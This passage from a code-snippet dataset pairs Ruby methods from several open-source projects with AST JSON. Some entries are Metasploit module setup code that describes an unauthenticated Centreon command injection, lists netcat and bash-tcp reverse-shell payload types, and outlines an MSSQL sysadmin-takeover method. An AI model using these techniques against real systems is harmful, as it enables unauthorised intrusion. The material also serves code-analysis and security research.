\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"aushack\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"50617\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"5817\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[1604]}]}]}]}]}]}","id":"b106b64f-cb36-4d19-8a39-6b616bf7afd9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/centreon_sqli_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Centreon SQL and Command Injection',\n        'Description' => %q{\n          This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon\n          Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command\n          injection in the displayServiceStatus.php component, it is possible to execute arbitrary\n          commands as long as there is a valid session registered in the centreon.session table.\n          In order to have a valid session, all it takes is a successful login from anybody.\n          The exploit itself does not require any authentication.\n\n          This module has been tested successfully on Centreon Enterprise Server 2.2.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'MaZ', # Vulnerability Discovery and Analysis\n          'juan vazquez' # Metasploit Module\n        ],\n        'References' => [\n          ['CVE', '2014-3828'],\n          ['CVE', '2014-3829'],\n          ['US-CERT-VU', '298796'],\n          ['URL', 'https://seclists.org/fulldisclosure/2014/Oct/78']\n        ],\n        'Arch' => ARCH_CMD,\n        'Platform' => 'unix',\n        'Payload' => {\n          'Space' => 1500, # having into account 8192 as max URI length\n          'DisableNops' => true,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd cmd_bash',\n                          'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl'\n                        }\n        },\n        'Targets' => [\n          ['Centreon Enterprise Server 2.2', {}]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2014-10-15',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon'])\n      ]\n    )\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Centreon SQL and Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon\\n\"]},{\"type\":\"str\",\"children\":[\"          Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command\\n\"]},{\"type\":\"str\",\"children\":[\"          injection in the displayServiceStatus.php component, it is possible to execute arbitrary\\n\"]},{\"type\":\"str\",\"children\":[\"          commands as long as there is a valid session registered in the centreon.session table.\\n\"]},{\"type\":\"str\",\"children\":[\"          In order to have a valid session, all it takes is a successful login from anybody.\\n\"]},{\"type\":\"str\",\"children\":[\"          The exploit itself does not require any authentication.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been tested successfully on Centreon Enterprise Server 2.2.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MaZ\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-3828\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-3829\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"US-CERT-VU\"]},{\"type\":\"str\",\"children\":[\"298796\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/fulldisclosure/2014/Oct/78\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1500]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd cmd_bash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic python gawk bash-tcp netcat ruby openssl\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Centreon Enterprise Server 2.2\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-10-15\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI of the Centreon Application\"]},{\"type\":\"str\",\"children\":[\"/centreon\"]}]}]}]}]}]}]}","id":"9af435b3-461f-468e-b3e5-ff25b2c9fd6d"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/jobs/rescue_job.rb","start_line":25,"raw_source":"def perform(person = \"david\")\n    case person\n    when \"david\"\n      raise ArgumentError, \"Hair too good\"\n    when \"other\"\n      raise OtherError, \"Bad hair\"\n    when \"rafael\"\n      raise NotImplementedError, \"Hair is just perfect\"\n    else\n      JobBuffer.add(\"performed beautifully\")\n    end\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"person\",{\"type\":\"str\",\"children\":[\"david\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"person\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"david\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Hair too good\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"other\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"OtherError\"]},{\"type\":\"str\",\"children\":[\"Bad hair\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"rafael\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"str\",\"children\":[\"Hair is just perfect\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JobBuffer\"]},\"add\",{\"type\":\"str\",\"children\":[\"performed beautifully\"]}]}]}]}","id":"f2c41146-b1eb-4185-9e2b-d806935b33ee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/pipeline/pre_merge_checks.rb","start_line":130,"raw_source":"def check_pipeline_identifier!(pipeline)\n    if pipeline.name.match?(TIER_IDENTIFIER_REGEX) && !pipeline.name.include?(REQUIRED_TIER_IDENTIFIER) # rubocop:disable Rails/NegateInclude -- Not executed in Rails context\n      fail_check! <<~MSG\n        Expected latest pipeline (#{pipeline.web_url}) to be a tier-3 pipeline! Pipeline name was \"#{pipeline.name}\".\n\n        Please ensure the MR has all the required approvals, start a new pipeline and put the MR back on the Merge Train.\n      MSG\n    end\n\n    return unless pipeline.name.include?(PREDICTIVE_PIPELINE_IDENTIFIER)\n\n    fail_check! <<~MSG\n      Expected latest pipeline (#{pipeline.web_url}) not to be a predictive pipeline! Pipeline name was \"#{pipeline.name}\".\n\n      Please ensure the MR has all the required approvals, start a new pipeline and put the MR back on the Merge Train.\n    MSG\n  end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_pipeline_identifier!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"name\"]},\"match?\",{\"type\":\"const\",\"children\":[null,\"TIER_IDENTIFIER_REGEX\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"name\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"REQUIRED_TIER_IDENTIFIER\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_check!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected latest pipeline (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"web_url\"]}]},{\"type\":\"str\",\"children\":[\") to be a tier-3 pipeline! Pipeline name was \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\\".\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Please ensure the MR has all the required approvals, start a new pipeline and put the MR back on the Merge Train.\\n\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"name\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"PREDICTIVE_PIPELINE_IDENTIFIER\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"fail_check!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected latest pipeline (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"web_url\"]}]},{\"type\":\"str\",\"children\":[\") not to be a predictive pipeline! Pipeline name was \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\\".\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Please ensure the MR has all the required approvals, start a new pipeline and put the MR back on the Merge Train.\\n\"]}]}]}]}]}","id":"d448bb16-39c1-463a-9579-abdaef445fd4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback_rate_detail.rb","start_line":196,"raw_source":"def per_unit_display\n    measure = chargeable_field.detail_measure\n    measure.nil? ? per_unit.to_s.capitalize : measure.measures.key(per_unit)\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"per_unit_display\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"measure\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chargeable_field\"]},\"detail_measure\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"measure\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"per_unit\"]},\"to_s\"]},\"capitalize\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"measure\"]},\"measures\"]},\"key\",{\"type\":\"send\",\"children\":[null,\"per_unit\"]}]}]}]}]}","id":"45864a58-5ed5-4827-a3b8-6baa78bde189"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/heredoc_indentation.rb","start_line":111,"raw_source":"def max_line_length\n          config.for_cop('Layout/LineLength')['Max']\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"max_line_length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"for_cop\",{\"type\":\"str\",\"children\":[\"Layout/LineLength\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"Max\"]}]}]}","id":"143c9122-1574-4f19-9a63-7b9080c7c466"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback/report_options.rb","start_line":146,"raw_source":"def group_by_tenant?\n      self[:groupby] == 'tenant'\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group_by_tenant?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"groupby\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"tenant\"]}]}]}","id":"e5ef7894-87c4-4348-8f16-c006931a2bdf"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/components/gantt.rb","start_line":56,"raw_source":"def write_work_packages_gantt!(work_packages, id_wp_meta_map)\n    wps = work_packages.select { |work_package| work_package.start_date || work_package.due_date }\n    return if wps.empty?\n\n    mode = gantt_settings_mode\n    column_width = gantt_settings_column_width(mode)\n    write_gantt(mode, column_width, id_wp_meta_map, wps)\n  end","complexity_score":13.5,"ast_json":"{\"type\":\"def\",\"children\":[\"write_work_packages_gantt!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]},{\"type\":\"arg\",\"children\":[\"id_wp_meta_map\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wps\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"start_date\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"due_date\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wps\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"mode\",{\"type\":\"send\",\"children\":[null,\"gantt_settings_mode\"]}]},{\"type\":\"lvasgn\",\"children\":[\"column_width\",{\"type\":\"send\",\"children\":[null,\"gantt_settings_column_width\",{\"type\":\"lvar\",\"children\":[\"mode\"]}]}]},{\"type\":\"send\",\"children\":[null,\"write_gantt\",{\"type\":\"lvar\",\"children\":[\"mode\"]},{\"type\":\"lvar\",\"children\":[\"column_width\"]},{\"type\":\"lvar\",\"children\":[\"id_wp_meta_map\"]},{\"type\":\"lvar\",\"children\":[\"wps\"]}]}]}]}","id":"12114a9f-2f1f-43c8-b40e-0c1b2313ca48"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/util.rb","start_line":213,"raw_source":"def number? exp\n    exp.is_a? Sexp and exp.node_type == :lit and exp[1].is_a? Numeric\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"number?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Sexp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"node_type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"lit\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Numeric\"]}]}]}]}","id":"cf5a6f1d-0938-45c0-8ba0-59f06616c808"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/config/assertions.rb","start_line":4,"raw_source":"def assert_text_parsed_as(expected, actual)\n    msg = parse_text(actual).inspect rescue 'failed'\n    msg = \"expected that #{actual.inspect} would be a parsed as #{expected.inspect} but got #{msg}\"\n    assert_block(msg) {\n      v = parse_text(actual)\n      if expected.is_a?(Float)\n        v.is_a?(Float) && (v == obj || (v.nan? && obj.nan?) || (v - obj).abs < 0.000001)\n      else\n        v == expected\n      end\n    }\n  end","complexity_score":39.25,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_text_parsed_as\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected\"]},{\"type\":\"arg\",\"children\":[\"actual\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_text\",{\"type\":\"lvar\",\"children\":[\"actual\"]}]},\"inspect\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"str\",\"children\":[\"failed\"]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected that \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actual\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" would be a parsed as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\" but got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_block\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[null,\"parse_text\",{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Float\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Float\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"obj\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"nan?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"obj\"]},\"nan?\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"obj\"]}]}]},\"abs\"]},\"<\",{\"type\":\"float\",\"children\":[0.000001]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"expected\"]}]}]}]}]}]}]}","id":"63930c6a-308d-4cdd-85a4-0382850a7d8f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/notification_recipient.rb","start_line":125,"raw_source":"def composite_identity_enforced?\n    user.composite_identity_enforced?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"composite_identity_enforced?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"composite_identity_enforced?\"]}]}","id":"7c8e5bcb-34d9-441a-ab1e-d43cbf0472d6"}
{"repo_name":"forem","file_path":"./repos/forem/spec/mailers/previews/devise/mailer_preview.rb","start_line":16,"raw_source":"def reset_password_instructions\n      Devise::Mailer.reset_password_instructions(User.last, \"faketoken\")\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_password_instructions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Devise\"]},\"Mailer\"]},\"reset_password_instructions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"last\"]},{\"type\":\"str\",\"children\":[\"faketoken\"]}]}]}","id":"6941eca9-8469-425b-a078-cdd815ff039c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/mssql_local_auth_bypass.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Windows Manage Local Microsoft SQL Server Authorization Bypass',\n        'Description' => %q{\n          When this module is executed, it can be used to add a sysadmin to local\n          SQL Server instances.  It first attempts to gain LocalSystem privileges\n          using the \"getsystem\" escalation methods. If those privileges are not\n          sufficient to add a sysadmin, then it will migrate to the SQL Server\n          service process associated with the target instance.  The sysadmin\n          login is added to the local SQL Server using native SQL clients and\n          stored procedures.  If no instance is specified then the first identified\n          instance will be used.\n\n          Why is this possible? By default in SQL Server 2k-2k8, LocalSystem\n          is assigned syadmin privileges.  Microsoft changed the default in\n          SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.\n          However, this can be overcome by migrating to the SQL Server process.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'Scott Sutherland <scott.sutherland[at]netspi.com>'],\n        'Platform' => [ 'win' ],\n        'SessionTypes' => [ 'meterpreter' ],\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_sys_config_rev2self\n            ]\n          }\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [CONFIG_CHANGES],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('DB_USERNAME', [true, 'New sysadmin login', nil]),\n        OptString.new('DB_PASSWORD', [true, 'Password for new sysadmin login', nil]),\n        OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil]),\n        OptBool.new('REMOVE_LOGIN', [true, 'Remove DB_USERNAME login from database', false])\n      ]\n    )\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Manage Local Microsoft SQL Server Authorization Bypass\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          When this module is executed, it can be used to add a sysadmin to local\\n\"]},{\"type\":\"str\",\"children\":[\"          SQL Server instances.  It first attempts to gain LocalSystem privileges\\n\"]},{\"type\":\"str\",\"children\":[\"          using the \\\"getsystem\\\" escalation methods. If those privileges are not\\n\"]},{\"type\":\"str\",\"children\":[\"          sufficient to add a sysadmin, then it will migrate to the SQL Server\\n\"]},{\"type\":\"str\",\"children\":[\"          service process associated with the target instance.  The sysadmin\\n\"]},{\"type\":\"str\",\"children\":[\"          login is added to the local SQL Server using native SQL clients and\\n\"]},{\"type\":\"str\",\"children\":[\"          stored procedures.  If no instance is specified then the first identified\\n\"]},{\"type\":\"str\",\"children\":[\"          instance will be used.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Why is this possible? By default in SQL Server 2k-2k8, LocalSystem\\n\"]},{\"type\":\"str\",\"children\":[\"          is assigned syadmin privileges.  Microsoft changed the default in\\n\"]},{\"type\":\"str\",\"children\":[\"          SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.\\n\"]},{\"type\":\"str\",\"children\":[\"          However, this can be overcome by migrating to the SQL Server process.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Scott Sutherland 